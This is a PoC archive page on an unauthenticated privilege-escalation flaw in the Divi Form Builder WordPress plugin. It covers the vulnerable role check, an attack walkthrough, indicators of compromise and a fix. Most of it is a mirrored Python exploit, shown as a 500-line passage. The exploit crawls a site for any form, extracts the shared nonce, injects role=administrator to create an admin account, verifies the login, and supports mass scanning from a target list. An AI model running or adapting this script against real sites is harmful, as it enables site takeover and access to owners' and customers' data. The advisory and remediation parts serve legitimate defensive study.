PoC Archive PoC Archive
Critical CVE-2026-5118 unpatched

Divi Form Builder <= 5.1.2 Unauthenticated Privilege Escalation via Role Injection (CVE-2026-5118)

by 0xd4rk5id3 (Wordfence advisory); Yucaerin / zycoder0day (PoC) · 2026-07-05

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / Researcher0xd4rk5id3 (Wordfence advisory); Yucaerin / zycoder0day (PoC)
CVE / AdvisoryCVE-2026-5118
Categoryweb
SeverityCritical
CVSS Score9.8 (Critical)
StatusPoC
Tagswordpress, divi-form-builder, privilege-escalation, role-injection, cwe-266, unauthenticated, admin-takeover, nonce-reuse
RelatedN/A

Affected Target

FieldValue
Software / SystemDivi Form Builder (WordPress plugin)
Versions Affected<= 5.1.2
Language / PlatformPHP / WordPress; Python 3 exploit client (requests)
Authentication RequiredNo
Network Access RequiredYes

Summary

Divi Form Builder <= 5.1.2’s create_user() logic (in FormSubmissionHandler.php) reads a role value directly from submitted form POST data and only checks that the role exists in WordPress (e.g. administrator is a valid role name) rather than checking that it is safe to assign via public registration. Combined with the discovery that the plugin’s fb_nonce is a single, global nonce (wp_create_nonce('security')) shared across every form on the site, and that the form_type parameter can be overridden to register via POST regardless of the form’s actual configured type, this means literally any Divi Form Builder form on a site — a contact form, quote form, newsletter signup, etc. — can be POSTed to directly with role=administrator to create a brand-new WordPress Administrator account with no authentication at all.


Vulnerability Details

Root Cause

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
// includes/shared/handlers/FormSubmissionHandler.php ~ line 2250
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';

// ~ line 2278 — ONLY checks if role EXISTS, not if it is SAFE
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) && !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';  // "administrator" EXISTS, so this check PASSES
}

// ~ line 2301 — Directly applies the injected role
$user = new WP_User($user_id);
$user->set_role($role);  // PRIVILEGE ESCALATION!

The plugin never restricts which roles are acceptable for public, unauthenticated form-driven registration — it only verifies the submitted role name is a role that exists on the install, so submitting role=administrator passes validation and is applied directly to the newly created user.

Attack Vector

  1. Discover any page on the target site containing a Divi Form Builder form (contact, quote, newsletter, feedback, registration, etc.) — identified by fb_nonce, de_fb_obj, or divi-form-builder markers in the page HTML, found via common paths, WordPress REST API enumeration (pages/posts/custom post types), sitemap crawling, robots.txt, or homepage link crawling.
  2. Extract the shared fb_nonce value (identical across all DFB forms site-wide) and, if present, the form_key from the page’s de_fb_obj JavaScript object or hidden form inputs.
  3. POST directly to /wp-admin/admin-ajax.php with action=de_fb_ajax_submit_ajax_handler, the extracted fb_nonce, and crucially form_type=register (overriding whatever the discovered form’s real type was) along with role=administrator and attacker-chosen user_login/user_pass/user_email fields.
  4. The plugin’s role-exists-only check passes for administrator, a new WordPress user is created and immediately assigned the Administrator role.
  5. Verify success by logging in with the newly created credentials at wp-login.php and confirming access to /wp-admin/.

Impact

Full unauthenticated site takeover: attacker-controlled Administrator account creation leads to arbitrary plugin/theme file editing (RCE), backdoor installation, and complete access to site and customer (e.g. WooCommerce) data.


Environment / Lab Setup

Target:   WordPress site running Divi Form Builder <= 5.1.2 with at least one DFB-enabled form publicly accessible
Attacker: Python 3 with `requests` installed, running exploit.py against the target URL

Proof of Concept

PoC Script

See exploit.py in this folder.

1
2
3
4
python3 exploit.py -t http://target.com
python3 exploit.py -t https://target.com -u hacker -p Pass123! -e hack@proton.me

python3 exploit.py -l targets.txt -T 20

The script auto-discovers any Divi Form Builder form on the target (trying common paths, WordPress REST API enumeration, sitemap/robots crawling, and homepage link crawling), extracts the shared fb_nonce, then POSTs the role-injection payload (role=administrator, form_type=register) to admin-ajax.php’s de_fb_ajax_submit_ajax_handler action to create a new administrator account, and finally attempts a login with the new credentials to verify the takeover, printing VULNERABLE/SAFE/PATCHED/ERROR per target (and writing results to result.txt in mass-scan mode).


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected new Administrator accounts with unfamiliar usernames/emails
  • admin-ajax.php access log entries with action=de_fb_ajax_submit_ajax_handler and a role POST field set to administrator
  • Site defacement, unexpected plugin/theme file changes, or new admin logins following such requests

Remediation

ActionDetail
Primary fixUpgrade Divi Form Builder to a patched version that allowlists safe roles for public registration and removes the role field from public-facing forms
Interim mitigationphp\n// SECURE: Allowlist only safe roles for public registration\n$allowed_registration_roles = array('subscriber', 'contributor');\nif (!in_array($role, $allowed_registration_roles, true)) {\n $role = 'subscriber'; // Reject ALL dangerous roles\n}\n Remove the role hidden input from frontend forms entirely; add current_user_can('create_users') checks before assigning privileged roles; implement per-form nonce verification instead of a single global nonce; add rate limiting on the registration AJAX endpoint

References


Notes

Mirrored from https://github.com/Yucaerin/CVE-2026-5118 on 2026-07-05.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
"""
CVE-2026-5118 Mass Scanner
Divi Form Builder <= 5.1.2 — Unauthenticated Privilege Escalation
Educational / Authorized Testing Only
"""

import argparse
import concurrent.futures
import json
import random
import re
import string
import sys
import urllib3

import requests
from urllib.parse import urljoin, urlparse

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# ───────────────────────────────────────────
# ANSI colors (auto-disable if not TTY)
# ───────────────────────────────────────────
if sys.stdout.isatty():
    R = "\033[91m"; G = "\033[92m"; Y = "\033[93m"; B = "\033[94m"; C = "\033[96m"; W = "\033[0m"
else:
    R = G = Y = B = C = W = ""


class DFBExploit:
    def __init__(self, target_url, verbose=False, timeout=20):
        self.target = target_url.rstrip('/')
        self.verbose = verbose
        self.timeout = timeout
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            'User-Agent': (
                'Mozilla/5.0 (Windows NT 10.0; Win64; x64) '
                'AppleWebKit/537.36 (KHTML, like Gecko) '
                'Chrome/120.0.0.0 Safari/537.36'
            ),
        })

    def _log(self, msg):
        print(msg)

    def _dbg(self, msg):
        if self.verbose:
            print(f"[v] {msg}")

    def _get(self, url):
        self._dbg(f"GET {url}")
        try:
            r = self.session.get(url, timeout=self.timeout)
            self._dbg(f"  status={r.status_code} len={len(r.text)}")
            return r
        except Exception as e:
            self._dbg(f"  error: {e}")
            return None

    # ───────────────────────────────────────────
    # Phase 1: Target Discovery — ANY DFB form
    # ───────────────────────────────────────────
    def find_form(self):
        self._dbg("Phase 1: Discovering any DFB form...")

        # Step 1: Known registration/contact paths (fast)
        paths = [
            '/register/', '/registration/', '/my-account/',
            '/wp-login.php?action=register', '/signup/', '/sign-up/',
            '/join/', '/get-started/', '/contact/', '/about/',
            '/quote/', '/feedback/', '/newsletter/', '/subscribe/',
            '/book/', '/request/', '/inquiry/', '/',
        ]
        for path in paths:
            result = self._check_page_for_dfb(urljoin(self.target, path))
            if result:
                return result

        # Step 2: REST API search=register quick
        rest = self._get(urljoin(self.target, '/wp-json/wp/v2/pages?search=register&per_page=100'))
        if rest and rest.status_code == 200:
            try:
                for page in rest.json():
                    result = self._check_page_for_dfb(page.get('link', ''))
                    if result:
                        return result
            except Exception:
                pass

        # Step 3: Deep REST API enumeration (all pages, posts, CPTs)
        for endpoint, name in [
            ('pages', 'pages'),
            ('posts', 'posts'),
        ]:
            result = self._deep_rest_enum(endpoint, name)
            if result:
                return result

        for cpt in ['dfb_forms', 'de_fb_forms', 'divi_forms', 'et_fb_forms', 'fb_forms']:
            result = self._deep_rest_enum(cpt, f'CPT:{cpt}')
            if result:
                return result

        # Step 4: Sitemap crawl
        result = self._sitemap_crawl()
        if result:
            return result

        # Step 5: robots.txt crawl
        result = self._robots_crawl()
        if result:
            return result

        # Step 6: Homepage link crawl
        result = self._homepage_link_crawl()
        if result:
            return result

        return None

    def _check_page_for_dfb(self, url):
        """GET url and check for ANY DFB indicator (fb_nonce, de_fb_obj, divi-form-builder)."""
        if not url:
            return None
        r = self._get(url)
        if not r or r.status_code != 200:
            return None
        text = r.text
        # Cek DFB indicators: fb_nonce hidden input, de_fb_obj, atau divi-form-builder string
        if 'fb_nonce' in text and ('divi-form-builder' in text or 'de_fb_obj' in text or 'de_fb_ajax_submit_ajax_handler' in text):
            self._dbg(f"[+] DFB form detected at: {url}")
            return text
        if 'de_fb_obj' in text or 'de_fb_ajax_submit_ajax_handler' in text:
            self._dbg(f"[+] DFB indicators at: {url}")
            return text
        if 'divi-form-builder' in text:
            self._dbg(f"[+] divi-form-builder string at: {url}")
            return text
        return None

    def _deep_rest_enum(self, endpoint, name):
        self._dbg(f"Deep REST API: enumerating {name}...")
        page = 1
        found = []
        while page <= 5:
            url = urljoin(self.target, f'/wp-json/wp/v2/{endpoint}?per_page=100&page={page}')
            r = self._get(url)
            if not r or r.status_code != 200:
                break
            try:
                items = r.json()
            except Exception:
                break
            if not isinstance(items, list) or not items:
                break
            for item in items:
                link = item.get('link', '')
                if link:
                    found.append(link)
            if len(items) < 100:
                break
            page += 1

        self._dbg(f"  {name}: {len(found)} URLs")
        checked = set()
        for link in found:
            if link in checked:
                continue
            checked.add(link)
            result = self._check_page_for_dfb(link)
            if result:
                return result
        return None

    def _sitemap_crawl(self):
        sitemap_urls = [
            '/wp-sitemap.xml', '/sitemap.xml', '/sitemap_index.xml',
            '/sitemap-index.xml', '/post-sitemap.xml', '/page-sitemap.xml',
        ]
        all_urls = []
        for sm_url in sitemap_urls:
            r = self._get(urljoin(self.target, sm_url))
            if not r or r.status_code != 200:
                continue
            urls = re.findall(r'<loc>([^<]+)</loc>', r.text)
            all_urls.extend(urls)
            # Nested sitemaps
            for url in list(urls):
                if '.xml' in url and 'sitemap' in url:
                    r2 = self._get(url)
                    if r2 and r2.status_code == 200:
                        nested = re.findall(r'<loc>([^<]+)</loc>', r2.text)
                        all_urls.extend(nested)

        checked = set()
        for url in all_urls:
            if url in checked:
                continue
            checked.add(url)
            result = self._check_page_for_dfb(url)
            if result:
                return result
        return None

    def _robots_crawl(self):
        r = self._get(urljoin(self.target, '/robots.txt'))
        if not r or r.status_code != 200:
            return None
        text = r.text
        sitemaps = re.findall(r'(?i)^\s*Sitemap:\s*(\S+)', text, re.MULTILINE)
        for sm in sitemaps:
            r2 = self._get(sm)
            if r2 and r2.status_code == 200:
                urls = re.findall(r'<loc>([^<]+)</loc>', r2.text)
                for url in urls:
                    result = self._check_page_for_dfb(url)
                    if result:
                        return result

        interesting = re.findall(r'(?i)^\s*(?:Allow|Disallow):\s*(/[^\s]*)', text, re.MULTILINE)
        for path in interesting:
            if path in ('/', '/wp-admin/', '/wp-includes/'):
                continue
            result = self._check_page_for_dfb(urljoin(self.target, path))
            if result:
                return result
        return None

    def _homepage_link_crawl(self):
        r = self._get(urljoin(self.target, '/'))
        if not r or r.status_code != 200:
            return None
        links = re.findall(r'href=["\']([^"\']+)["\']', r.text)
        candidates = []
        keywords = ['register', 'signup', 'sign-up', 'join', 'contact', 'form', 'get-started', 'about', 'quote', 'feedback', 'subscribe']
        for link in links:
            if link.startswith('http'):
                abs_link = link
            elif link.startswith('/'):
                abs_link = urljoin(self.target, link)
            else:
                abs_link = urljoin(self.target + '/', link)
            if not abs_link.startswith(self.target):
                continue
            if re.search(r'\.(js|css|png|jpg|jpeg|gif|svg|pdf|zip)$', abs_link, re.I):
                continue
            lower = abs_link.lower()
            if any(k in lower for k in keywords):
                candidates.insert(0, abs_link)
            else:
                candidates.append(abs_link)

        checked = set()
        for link in candidates:
            if link in checked:
                continue
            checked.add(link)
            result = self._check_page_for_dfb(link)
            if result:
                return result
        return None

    # ───────────────────────────────────────────
    # Phase 2: Parameter Extraction
    # ───────────────────────────────────────────
    def extract_params(self, html):
        self._dbg("Phase 2: Extracting parameters...")
        params = {}

        # 1. Try de_fb_obj (JavaScript)
        de_fb_match = re.search(
            r'(?:var|let|const|window\.)?\s*de_fb_obj\s*=\s*(\{.*?\});?',
            html, re.DOTALL
        )
        if not de_fb_match:
            de_fb_match = re.search(r'de_fb_obj\s*=\s*(\{.*?\});?', html, re.DOTALL)

        if de_fb_match:
            raw = de_fb_match.group(1)
            raw = raw.replace("'", '"')
            raw = re.sub(r',(\s*[}\]])', r'\1', raw)
            try:
                obj = json.loads(raw)
                self._dbg(f"de_fb_obj keys: {list(obj.keys())}")
                for k in ('nonce', 'fb_nonce'):
                    if k in obj and obj[k]:
                        params['fb_nonce'] = str(obj[k])
                        self._dbg(f"fb_nonce from de_fb_obj: {params['fb_nonce'][:20]}...")
                        break
                if 'form_key' in obj and obj['form_key']:
                    params['form_key'] = str(obj['form_key'])
                    self._dbg(f"form_key from de_fb_obj: {params['form_key'][:20]}...")
            except json.JSONDecodeError as e:
                self._dbg(f"de_fb_obj JSON parse failed: {e}")

        # 2. Fallback: hidden input HTML
        def _get_attr(html, attr_name):
            pat = (
                r'<[^>]*?name=["\']' + re.escape(attr_name) + r'["\'][^>]*?'
                r'value=["\']([^"\']+)["\'][^>]*?>|'
                r'<[^>]*?value=["\']([^"\']+)["\'][^>]*?'
                r'name=["\']' + re.escape(attr_name) + r'["\'][^>]*?>'
            )
            m = re.search(pat, html, re.I | re.S)
            return (m.group(1) or m.group(2)) if m else None

        if 'fb_nonce' not in params:
            v = _get_attr(html, 'fb_nonce')
            if v:
                params['fb_nonce'] = v
                self._dbg(f"fb_nonce from hidden input: {v[:20]}...")

        if 'form_key' not in params:
            v = _get_attr(html, 'form_key')
            if v:
                params['form_key'] = v
                self._dbg(f"form_key from hidden input: {v[:20]}...")

        # Default role reference (info only)
        role = _get_attr(html, 'role')
        if not role:
            m = re.search(
                r'class=["\']df_hidden_user_role["\'][^>]*value=["\']([^"\']+)["\']|'
                r'value=["\']([^"\']+)["\'][^>]*class=["\']df_hidden_user_role["\']',
                html, re.I | re.S
            )
            if m:
                role = m.group(1) or m.group(2)
        if role:
            params['default_role'] = role
            self._dbg(f"Default role: {role}")

        return params

    # ───────────────────────────────────────────
    # Phase 3: Role Injection
    # ───────────────────────────────────────────
    def exploit(self, params, username, password, email):
        ajax_url = urljoin(self.target, '/wp-admin/admin-ajax.php')
        self._dbg(f"Phase 3: POST {ajax_url}")

        files = {
            'action':            (None, 'de_fb_ajax_submit_ajax_handler'),
            'fb_nonce':          (None, params.get('fb_nonce', '')),
            'role':              (None, 'administrator'),
            'form_type':         (None, 'register'),   # ← OVERRIDE! Form asal contact pun jadi register
            'divi-form-submit':  (None, 'yes'),
            'de_fb_user_login':  (None, username),
            'user_login':        (None, username),
            'de_fb_user_pass':   (None, password),
            'user_pass':         (None, password),
            'de_fb_pass_repeat': (None, password),
            'de_fb_user_email':  (None, email),
            'user_email':        (None, email),
        }

        fk = params.get('form_key', '').strip()
        if fk:
            files['form_key'] = (None, fk)

        headers = {'X-Requested-With': 'XMLHttpRequest'}

        try:
            resp = self.session.post(ajax_url, files=files, headers=headers, timeout=self.timeout)
        except Exception as e:
            self._dbg(f"Request failed: {e}")
            return False, f"request_error: {e}"

        self._dbg(f"Response: HTTP {resp.status_code}")
        self._dbg(f"Body: {resp.text[:500]}")

        if resp.status_code != 200:
            return False, f"http_{resp.status_code}"

        text_lower = resp.text.lower()

        # JSON evaluation
        try:
            j = resp.json()
            self._dbg(f"JSON: {j}")
            msg = str(j.get('message', '')).lower()

            if j.get('success') is True or j.get('result') == 'success':
                return True, "json_success"
            if 'success' in msg or 'registered' in msg or 'created' in msg or 'registration' in msg:
                return True, "json_msg_success"
            if 'user' in str(j).lower():
                return True, "json_user_obj"
        except ValueError:
            pass

        good = ['success', 'registration successful', 'registered', 'created', 'account created', 'welcome']
        bad = ['error', 'failed', 'invalid', 'nonce verification failed', 'cheating', 'forbidden', 'unauthorized']

        for g in good:
            if g in text_lower:
                return True, f"text_{g}"
        for b in bad:
            if b in text_lower:
                return False, f"text_{b}"

        return False, "ambiguous"

    # ───────────────────────────────────────────
    # Phase 4: Admin Verification
    # ───────────────────────────────────────────
    def verify(self, username, password):
        login_url = urljoin(self.target, '/wp-login.php')
        self._dbg(f"Phase 4: Verifying admin access...")

        data = {
            'log': username,
            'pwd': password,
            'wp-submit': 'Log In',
            'redirect_to': urljoin(self.target, '/wp-admin/'),
            'testcookie': '1',
        }

        try:
            resp = self.session.post(login_url, data=data, allow_redirects=True, timeout=self.timeout)
        except Exception as e:
            self._dbg(f"Login failed: {e}")
            return False

        if '/wp-admin' in resp.url:
            return True
        if 'dashboard' in resp.text.lower():
            return True

        # Fallback: try GET /wp-admin/ with same session
        try:
            admin_resp = self.session.get(urljoin(self.target, '/wp-admin/'), timeout=self.timeout)
        except Exception:
            return False

        if '/wp-admin' in admin_resp.url or 'dashboard' in admin_resp.text.lower():
            return True
        return False

    # ───────────────────────────────────────────
    # Full run: return (success_bool, details_dict)
    # ───────────────────────────────────────────
    def run(self, username=None, password=None, email=None):
        # Phase 1
        html = self.find_form()
        if not html:
            return False, {"stage": "discovery", "reason": "No DFB form found"}

        # Phase 2
        params = self.extract_params(html)
        if not params.get('fb_nonce'):
            return False, {"stage": "extraction", "reason": "fb_nonce not found"}

        # Generate credentials
        if not username:
            username = 'admin' + ''.join(random.choices(string.digits, k=4))
        if not password:
            password = 'Str0ngP@ss!' + ''.join(random.choices(string.ascii_letters, k=4))
        if not email:
            email = f"{username}@test.local"

        # Phase 3
        exploited, detail = self.exploit(params, username, password, email)
        if not exploited:
            return False, {"stage": "exploit", "reason": detail, "username": username}

        # Phase 4
        verified = self.verify(username, password)
        return True, {
            "stage": "verified" if verified else "exploit_only",
            "verified": verified,
            "username": username,
            "password": password,
            "email": email,
            "detail": detail,
        }


# ═══════════════════════════════════════════
# Mass Scanner with Threading
# ═══════════════════════════════════════════

def normalize_url(url):
    """Add http:// prefix if missing."""
    url = url.strip()
    if not url:
        return None
    if not url.startswith(('http://', 'https://')):
        # Try https first, fallback to http
        return f"http://{url}"
    return url


def scan_single_target(url, verbose=False, timeout=20):
    """Scan one target. Returns (url, status, details)."""
    target = normalize_url(url)
    if not target:
Showing 500 of 705 lines View full file on GitHub →